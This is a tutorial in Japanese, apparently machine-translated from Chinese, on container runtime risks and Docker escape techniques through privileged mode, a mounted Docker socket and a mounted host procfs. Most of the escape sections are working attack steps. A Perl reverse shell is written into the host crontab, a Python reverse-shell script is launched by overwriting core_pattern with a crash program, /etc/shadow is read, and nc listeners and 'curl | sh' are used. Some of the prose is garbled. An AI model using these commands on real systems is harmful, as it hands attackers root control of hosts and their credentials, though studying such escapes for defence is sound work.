コンテナランタイムのセキュリティリスク
ランタイム コンテナ上で発生する可能性のある攻撃の形式は無数にありますが、最終的には、すべての攻撃がビジネス システムの機密性、完全性、可用性 (CIA の 3 つの要素) に影響を与えます。この観点から、攻撃は次のように分類できます。
- 主に機密性と完全性に影響を与え、通常はターゲット システムの制御を取得したり、データを盗んだり変更したりします。
- 主に可用性に影響し、通常はターゲット システムの情報リソースを枯渇させる攻撃です。
上記の分類に基づいて、非常に典型的な 2 つの攻撃手法を紹介します。コンテナと安全なコンテナエスケープ、コンテナから開始されるリソース枯渇攻撃です。
コンテナ脱出
他の仮想化テクノロジーと同様に、エスケープは最も深刻なセキュリティ リスクであり、基盤となるホストとクラウド コンピューティング システム全体のセキュリティを直接危険にさらします。「コンテナ エスケープ」とは、攻撃者がコンテナのビジネス ロジックをハイジャックしたり、コンテナのビジネス ロジックを直接制御したりすることを意味します (CaaS やその他の合法的なセキュリティ リスク)。 (コンテナの制御を取得するシナリオ) などの方法により、コンテナ内の特定の権限でコマンドを実行する機能が取得されており、攻撃者はこの機能を利用して、コンテナが配置されている直接ホストの特定の権限でコマンドを実行します。実行能力を意味します。ソフトウェア サプライ チェーンの段階で脆弱性を引き起こす可能性のある悪意のあるイメージ、コンテナ内での悪意のあるシンボリック リンクの構築、コンテナ内のダイナミック リンク ライブラリのハイジャックなど、脆弱性を悪用する特別な方法は、基本的に攻撃者が特定の情報を入手したことを意味します。コンテナ内の権限、命令を実行する能力。
コンテナーがホスト マシンの特定のファイルまたはディレクトリをマウントし、マウント リストと、バックドアを作成するためにシェルに書き込まれたファイルおよびディレクトリのリストの交差部分を使用した場合、コンテナーがエスケープするための新しい方法を取得できますか?
安全でない構成によるコンテナの脱出
ここ数年の反復で、コンテナ コミュニティは、多層防御や最小特権などの概念と原則の実装に熱心に取り組んできました。たとえば、Docker は、コンテナ実行時の Capabililttes ブラックリスト メカニズムを、現在のデフォルトですべての Capabililttes を禁止するように変更しました。 list メソッドは、コンテナ内での実行に必要な最小限の権限を付与します。これまでのところ、Docker はデフォルトで 40 近くの権限のうち 14 をコンテナに付与しています。
func DefaultCapabilities() []string {
return []string{
"CAP_CHOWN",
"CAP_DAC_OVERRIDE",
"CAP_FSETID",
"CAP_FOWNER",
"CAP_MKNOD",
"CAP_NET_RAW",
"CAP_SETGID",
"CAP_SETUID",
"CAP_SETFCAP",
"CAP_SETPCAP",
"CAP_NET_BIND_SERVICE",
"CAP_SYS_CHROOT",
"CAP_KILL",
"CAP_AUDIT_WRITE",
}
}
ただし、きめ細かい権限制御であっても、その他のセキュリティ メカニズムであっても、ユーザーはコンテナ環境の構成を変更したり、実行時にパラメータを指定したりすることで制約を調整できますが、ユーザーがコンテナに危険な構成パラメータを設定すると、攻撃者に次のような危険なパラメータを提供することになります。逃亡の可能性
--privileged: 特権モードでコンテナを実行します。
元々、コンテナー特権モードは、開発者が Docker-in-Docker 機能を実装するのを支援するために登場しました。ただし、特権モードで実行されているコンテナが不完全に制御されていると、ホストに大きなセキュリティ上の脅威が生じます。オペレータが docker run --privileged を実行すると、Docker はコンテナがホスト上のすべてのデバイスにアクセスし、AppArmor または SELinux の設定を変更できるようにします。ホスト上で直接実行されているプロセスとほぼ同じアクセス権があります。
図に示すように、特権モードと非特権モードで 2 つのコンテナを作成しました。ホスト上のデバイスは特権コンテナ内で確認できます。
#以特权模式创建一个容器
docker run --rm --privileged=true -it alpine
#以非特权模式创建一个容器
docker run --rm -it alpine
#查看当前所运行的容器
docker ps
このようなシナリオでは、コンテナーからエスケープするのは簡単で、多くの方法があります。たとえば、攻撃者はコンテナー内のホスト ディスクを直接マウントできます。
#挂载磁盘
docker exec 82766e907721 fdisk -l
docker exec 69946fbdc420 fdisk -l | tail -n 2
コンテナ内で次のコマンドを実行して、コンテナが特権モードであるかどうかを確認します。特権モードで起動されている場合、CapEff に対応するマスク値は 0000003fffffffff または 0000001fffffffff である必要があります。
cat /proc/self/status | grep CapEff
図に示すように、特権モードと非特権モードで実行されているコンテナ CapEff に対応するマスク値の違いがわかります。
次に、特権モードでコンテナを起動します
#以特权模式启动一个容器
docker run --rm --privileged=true -it alpine
次に、ホスト ディスクをコンテナ内に直接マウントします。
#挂载宿主机磁盘
fdisk -l
次に、ディレクトリを切り替え、コンテナ内で次のコマンドを実行し、ホスト ディレクトリを作成し、ホスト ファイルを /host ディレクトリにマウントします。
#创建目录
mkdir /host
#将宿主机文件挂载到 /host 目录下
mount /dev/sda1 /host
これで、コンテナ内で次のコマンドを実行してホスト シャドウ ファイルにアクセスできるようになり、通常のアクセスが確認できるようになりました。
cat /host/etc/shadow
同じ場合、スケジュールされたタスクにリバウンド シェルを記述することもできます。ここでのスケジュールされたタスクのパスは Ubuntu システム パスであり、異なるシステムのスケジュールされたタスクのパスは異なります。
ここから監視を開始します
nc -lvvp 4444
次に、コンテナ内でコマンドを実行し、スケジュールされたタスクにリバウンド シェルを書き込みます。
echo $'*/1 * * * * perl -e \'use Socket;$i="192.168.41.138";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /host/etc/crontab
1 分後、リバウンドされたセッションを受信できるようになります。セッション権限はホスト マシンの root ユーザー権限です。
これまでのところ、攻撃者は基本的にコンテナ内から逃げていますが、その根本的な理由は、ホストマシンのルートディレクトリのみがマウントされているためです。ps コマンドを使用して表示すると、まだコンテナー内にあることがわかります。マウントがないため、コンテナ内のプロセスを実行します。 ホストの procfs をロードします。
安全でないマウントによるコンテナの脱出
ホストと仮想マシン間のデータ交換を容易にするために、ほとんどすべての主流の仮想マシン ソリューションは、仮想マシンにホスト ディレクトリの機能を提供します。同じことがコンテナにも当てはまりますが、ホスト上の機密性の高いファイルやディレクトリをコンテナにマウントすると、特に完全に制御されていないファイルやディレクトリは、セキュリティ上の問題を引き起こすことがよくあります。
ただし、一部の特定のシナリオでは、特定の機能を実現したり操作を容易にしたりするため (コンテナー内のコンテナーを管理するために Docker ソケットをコンテナーにマウントするなど)、ユーザーは依然として外部機密ボリュームをコンテナーにマウントすることを選択します。コンテナ技術の適用が徐々に深化するにつれ、実装作業がより広範囲に行われるようになり、それに伴うセキュリティ問題も増加傾向にあります
Mount Docker Socket エスケープコンテナ
Docker Socket は、Docker デーモンがリッスンする UNIX ドメイン ソケットであり、情報のクエリやコマンドの発行など、デーモンとの通信に使用されます。ソケット ファイル (/var/run/docker.sock) が攻撃者が制御するコンテナにマウントされている場合、コンテナのエスケープは非常に簡単です
Docker Socket エスケープコンテナをマウントする手順は次のとおりです。
- まず、/var/run/docker.sock ファイルをマウントするコンテナを作成します。
- そのコンテナ内に Docker コマンド ライン クライアントをインストールします
- 次に、クライアントを使用して Docker ソケット経由で Docker デーモンと通信し、新しいコンテナーを作成して実行するコマンドを送信し、新しく作成したコンテナーにホストのルート ディレクトリをマウントします。
- 新しいコンテナで chroot を実行し、ルート ディレクトリをマウントされたホストとルート ディレクトリに切り替えます
コンテナーを作成し、/var/run/docker/sock ファイルをマウントします。
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
次に、次のコマンドを実行してコンテナに入ります
#列出当前运行容器的进程
docker ps
#进入容器
docker exec -it 6ea2a95dc78d /bin/bash
現在のコンテナに脆弱性が存在するかどうかを確認し、このファイルが存在する場合、脆弱性が存在する可能性があります。
ls -lah /var/run/docker.sock
コンテナー内に Docker コマンド ライン クライアントをインストールする
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
コンテナ内に新しいコンテナを作成し、ホスト ディレクトリを新しいコンテナにマウントします。
docker run -it -v /:/host ubuntu /bin/bash
ls /host
上の図からわかるように、ホストのルート ディレクトリはコンテナ内にマウントされており、機密ファイルの読み取りまたは書き換えによってエスケープを実現できます。
図に示すように、ホストの機密ファイルを表示できます。
cat /etc/shadow
もちろん、スケジュールされたタスクを記述してシェルをリバースすることも可能です。このステップの手順は、「--privileged: 特権モードでコンテナを実行する」で説明したものとほぼ同じです。
安全でない構成によるエスケープの問題と同様に、攻撃者はすでにベーシック コンテナからエスケープしています。ホストのルート ディレクトリとルート ディレクトリのみがマウントされているため、「ベーシック」と表現します。プロセスを表示するために ps を使用すると、ホストにprocfがマウントされていないため、まだコンテナ内のプロセスであることがわかります
ホストのprocfsエスケープコンテナをマウントします
Linux やクラウド コンピューティングに精通している友人にとって、procfs は決して馴染みのない概念ではありません。procfs は、多くの非常に機密性の高い重要なファイルを含む、システム内のプロセスとコンポーネントのステータスを動的に反映する擬似ファイル システムです。したがって、制御されていないコンテナにホストの procfs をマウントすることは非常に危険です。特にコンテナ内で root 権限がデフォルトで有効になっており、ユーザー名前空間が有効になっていない場合 (これまでのところ、Docker は、次の方法でコンテナのユーザー名前空間を有効にしません)デフォルトの名前空間)
一般的に言えば、ホストの procfs をコンテナにマウントすることはありませんが、一部の企業では、特殊なニーズを達成するために依然としてファイル システムをマウントします。
次に、コンテナを作成し、/proc ディレクトリをマウントします。
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
core_pattern ファイルが 2 つ見つかった場合は、ホストの procfs がマウントされている可能性があります。
find / -name core_pattern
次に、次のコマンドを入力して、ホストの下の現在のコンテナの絶対パスを見つける必要があります。
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
これは、現在の絶対パスが
/var/lib/docker/overlay2/d7e3a634bcaa586c5eba9fd5e38bc42da7cc6e0a4e0c174695004db5b7261023/merged
次に vim と gcc をインストールする必要があります
apt-get update -y && apt-get install vim gcc -y
次に、シェルをバウンスする py スクリプトを作成します。
vim /tmp/.t.py
スクリプトの内容は次のとおりです。 lhost はリスニング攻撃マシンの IP に置き換えられます。
#!/usr/bin/python3
import os
import pty
import socket
lhost = "192.168.41.132"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
シェルに実行権限を与える
chmod 777 /tmp.t.py
ターゲットの proc ディレクトリにリバウンド シェルを書き込みます
echo -e "|/var/lib/docker/overlay2/d7e3a634bcaa586c5eba9fd5e38bc42da7cc6e0a4e0c174695004db5b7261023/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern
攻撃側ホストの 192.168.41.132 でリスナーを開きます。
nc -lvvp 4444
次に、コンテナ内でクラッシュする可能性のあるプログラムを編集します。
vim t.c
番組内容は以下の通りです
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
それからプログラムをコンパイルします
gcc t.c -o t
クラッシュプログラムを実行する
./t
すると、攻撃マシンがリバウンドシェルを受け取り、無事に脱出したことがわかります。